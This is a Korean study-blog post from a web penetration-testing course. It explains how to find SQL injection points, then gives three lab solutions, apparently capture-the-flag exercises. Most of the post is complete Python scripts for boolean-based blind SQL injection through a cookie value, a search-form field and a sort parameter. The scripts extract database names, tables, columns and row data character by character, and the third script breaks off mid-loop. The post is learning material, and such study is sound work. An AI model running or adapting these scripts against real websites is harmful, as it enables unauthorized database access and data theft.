보안공부/웹 모의해킹 공부

22. [8주차]-1 SQL injection 포인트 찾기

ssjune 2024. 6. 9. 23:47

* 과제
1. 오늘 수업 정리
2. 심화 문제 풀이


1. 오늘 수업 정리

SQL injection을 하기 위해서 포인트를 찾아야 한다.

사용자로부터 입력값을 받아 SQL 구문을 생성하는 곳을 찾아야 한다.

ex) 로그인, 회원가입, 마이페이지, 검색기능....

 

그 후, 파라미터를 테스트 해본다.

그러면서 SQL 구문이 어떤식으로 이루어져 있을 지 추측한다.

 

and '1'='1 이나 and '1'='2 를 통해 참/거짓 시 구분이 가능한지 확인할 수도 있다.

 

사용자로부터 쿠키를 받아 SQL구문을 생성하거나

파라미터를 컬럼 값으로 삼아 SQL 구문을 생성하는 경우도 있다.

sort 나 DB 에러표시를 통해 SQL injection을 할 수도 있다.

 

 

 

2. 심화 문제 풀이

 

SQL Injection 심화 문제로 SQL injection 포인트부터 찾아야 하는 문제이다.

 

2.1 SQL Injection Point 1

첫 페이지이다.

 

 

먼저 회원가입부터 해주었다.

그 후, 로그인 한 후 둘러 보는 중에

 

로그인 후 쿠키로 사용자를 설정하고, 마이페이지 접근 시 해당 쿠키를 사용하는 것을 알아냈다.

확인 결과 마이페이지에서 참/거짓을 판별 할 수 있었고, 이걸 이용하기로 했다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, headers, max_retries, cookie, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.get(url, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, headers, max_retries, cookie, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "i1ph8dg4g8ond9tdv34m7lho4p"
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    cookie["user"] = "aaa' and (select length(database()) = " + \
        str(db_length_idx) + ") and '1'='1"
    res = post_request_with_retry(url, headers, max_retries, cookie)
    # print(payload)
    time.sleep(0.001)

    # print(res.text)
    # print(res.history)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("input")[1]
    placeholder = info.get('placeholder')

    # print(placeholder)
    # print(f"{db_length_idx}: {placeholder}")
    # print(res.text)
    if not placeholder:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")
# exit(0)

for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        cookie["user"] = "aaa' and (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("input")[1]
        placeholder = info.get('placeholder')

        # print(placeholder)
        # print(f"{db_length_idx}: {placeholder}")
        # print(res.text)
        if not placeholder:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):
    cookie["user"] = "aaa' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") and '1'='1"
    res = post_request_with_retry(url, headers, max_retries, cookie)
    # print(payload["id"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("input")[1]
    placeholder = info.get('placeholder')

    # print(placeholder)
    # print(f"{db_length_idx}: {placeholder}")
    # print(res.text)
    if not placeholder:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        cookie["user"] = "aaa' and ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("input")[1]
        placeholder = info.get('placeholder')

        # print(placeholder)
        # print(f"{db_length_idx}: {placeholder}")
        # print(res.text)
        if not placeholder:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            cookie["user"] = "aaa' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("input")[1]
            placeholder = info.get('placeholder')

            # print(placeholder)
            # print(f"{db_length_idx}: {placeholder}")
            # print(res.text)
            if not placeholder:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        cookie["user"] = "aaa' and (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("input")[1]
        placeholder = info.get('placeholder')

        # print(placeholder)
        # print(f"{db_length_idx}: {placeholder}")
        # print(res.text)
        if not placeholder:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            cookie["user"] = "aaa' and ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("input")[1]
            placeholder = info.get('placeholder')

            # print(placeholder)
            # print(f"{db_length_idx}: {placeholder}")
            # print(res.text)
            if not placeholder:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                cookie["user"] = "aaa' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("input")[1]
                placeholder = info.get('placeholder')

                # print(placeholder)
                # print(f"{db_length_idx}: {placeholder}")
                # print(res.text)
                if not placeholder:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            cookie["user"] = "aaa' and (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("input")[1]
            placeholder = info.get('placeholder')

            # print(placeholder)
            # print(f"{db_length_idx}: {placeholder}")
            # print(res.text)
            if not placeholder:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                cookie["user"] = "aaa' and ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("input")[1]
                placeholder = info.get('placeholder')

                # print(placeholder)
                # print(f"{db_length_idx}: {placeholder}")
                # print(res.text)
                if not placeholder:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    cookie["user"] = "aaa' and (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") and '1'='1"
                    res = post_request_with_retry(url, headers, max_retries, cookie)
                    # print(payload["id"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    parsed_html = BeautifulSoup(res.text, "html.parser")
                    info = parsed_html.find_all("input")[1]
                    placeholder = info.get('placeholder')

                    # print(placeholder)
                    # print(f"{db_length_idx}: {placeholder}")
                    # print(res.text)
                    if not placeholder:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

 

 

2.2 SQL Injection Point 2

2번째 문제는 1과는 달리 세션을 이용하기 때문에 쿠키를 사용할 수 없다.

그래서 좀 더 둘러본 결과

 

게시판 기능의 검색 기능을 이용할 수 있었다.

 

 

POST 데이터 중 option_val을 이용해서 참/거짓을 판별 할 수 있었고, 이걸 SQL injection 에 사용하였다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, data, headers, cookie, max_retries, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.post(url, data=data, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, payload, headers, cookie, max_retries, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None



url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "i1ph8dg4g8ond9tdv34m7lho4p"
}

payload = {
    'option_val': 'title',
    'board_result': 'ab',
    'board_search': '%F0%9F%94%8D',
    'date_from':'',
    'date_to':'',
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    payload['option_val'] = "'1'='1' and (select length(database()) = " + \
        str(db_length_idx) + ") and title"
    res = post_request_with_retry(url, payload, headers, cookie, max_retries)
    # print(payload)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")


for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        payload['option_val'] = "'1'='1' and (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") and title"
        res = post_request_with_retry(url, payload, headers, cookie, max_retries)
        # print(payload["UserId"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):
    payload['option_val'] = "'1'='1' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") and title"
    res = post_request_with_retry(url, payload, headers, cookie, max_retries)
    # print(payload["UserId"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        payload['option_val'] = "'1'='1' and ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") and title"
        res = post_request_with_retry(url, payload, headers, cookie, max_retries)
        # print(payload["UserId"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            payload['option_val'] = "'1'='1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") and title"
            res = post_request_with_retry(url, payload, headers, cookie, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        payload['option_val'] = "'1'='1' and (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") and title"
        res = post_request_with_retry(url, payload, headers, cookie, max_retries)
        # print(payload["UserId"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            payload['option_val'] = "'1'='1' and ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") and title"
            res = post_request_with_retry(url, payload, headers, cookie, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                payload['option_val'] = "'1'='1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") and title"
                res = post_request_with_retry(
                    url, payload, headers, cookie, max_retries)
                # print(payload["UserId"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            payload["option_val"] = "'1'='1' and (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") and title"
            res = post_request_with_retry(url, payload, headers, cookie, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                payload['option_val'] = "'1'='1' and ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") and title"
                res = post_request_with_retry(
                    url, payload, headers, cookie, max_retries)
                # print(payload["UserId"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    payload["option_val"] = "'1'='1' and (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") and title"
                    res = post_request_with_retry(
                        url, payload, headers, cookie, max_retries)
                    # print(payload["UserId"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    parsed_html = BeautifulSoup(res.text, "html.parser")
                    info = parsed_html.find_all("tbody")[0]
                    # print(info)
                
                    children = info.find("tr", recursive=False)

                    # print(res.text)
                    if not children:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

 

 

2.3 SQL Injection Point 3

3번 문제는 2번 처럼 게시판 검색을 사용하지만, sort 기능을 사용한다.

 

sort에 case when (1=1) then 1 else (select 1 union select 2) end 을 사용해서 참/거짓 여부를 확인할 수 있었다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, payload, headers, max_retries, cookie, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.post(url, data=payload, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, payload, headers, max_retries, cookie, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "18lsani6dac3im6re05eirmunm"
}

payload = {
    'option_val': 'title',
    'board_result': 'ab',
    'board_search': '%F0%9F%94%8D',
    'date_from':'',
    'date_to':'',
    'sort': 'title'
}

timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    payload['sort'] = "case when (select length(database()) = " + \
        str(db_length_idx) + ") then 1 else (select 1 union select 2) end"
    
    res = post_request_with_retry(url, payload, headers, max_retries, cookie)
    # print(payload)
    time.sleep(0.001)

    # print(res.text)
    # print(res.history)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")

for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        payload['sort'] = "case when (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"

        res = post_request_with_retry(url, payload, headers, max_retries, cookie)
        # print(payload["sort"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):

    payload['sort'] = "case when (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") then 1 else (select 1 union select 2) end"

    res = post_request_with_retry(url, payload, headers, max_retries, cookie)
    # print(payload["id"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        payload['sort'] = "case when ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") then 1 else (select 1 union select 2) end"

        res = post_request_with_retry(url, payload, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            payload['sort'] = "case when (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"

            res = post_request_with_retry(url, payload, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        payload['sort'] = "case when (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") then 1 else (select 1 union select 2) end"

        res = post_request_with_retry(url, payload, headers, max_retries, cookie)
        # print(payload["id"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            
            payload['sort'] = "case when ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") then 1 else (select 1 union select 2) end"

            res = post_request_with_retry(url, payload, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                
                payload['sort'] = "case when (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"


                res = post_request_with_retry(url, payload, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            payload['sort'] = "case when (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") then 1 else (select 1 union select 2) end"

            res = post_request_with_retry(url, payload, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
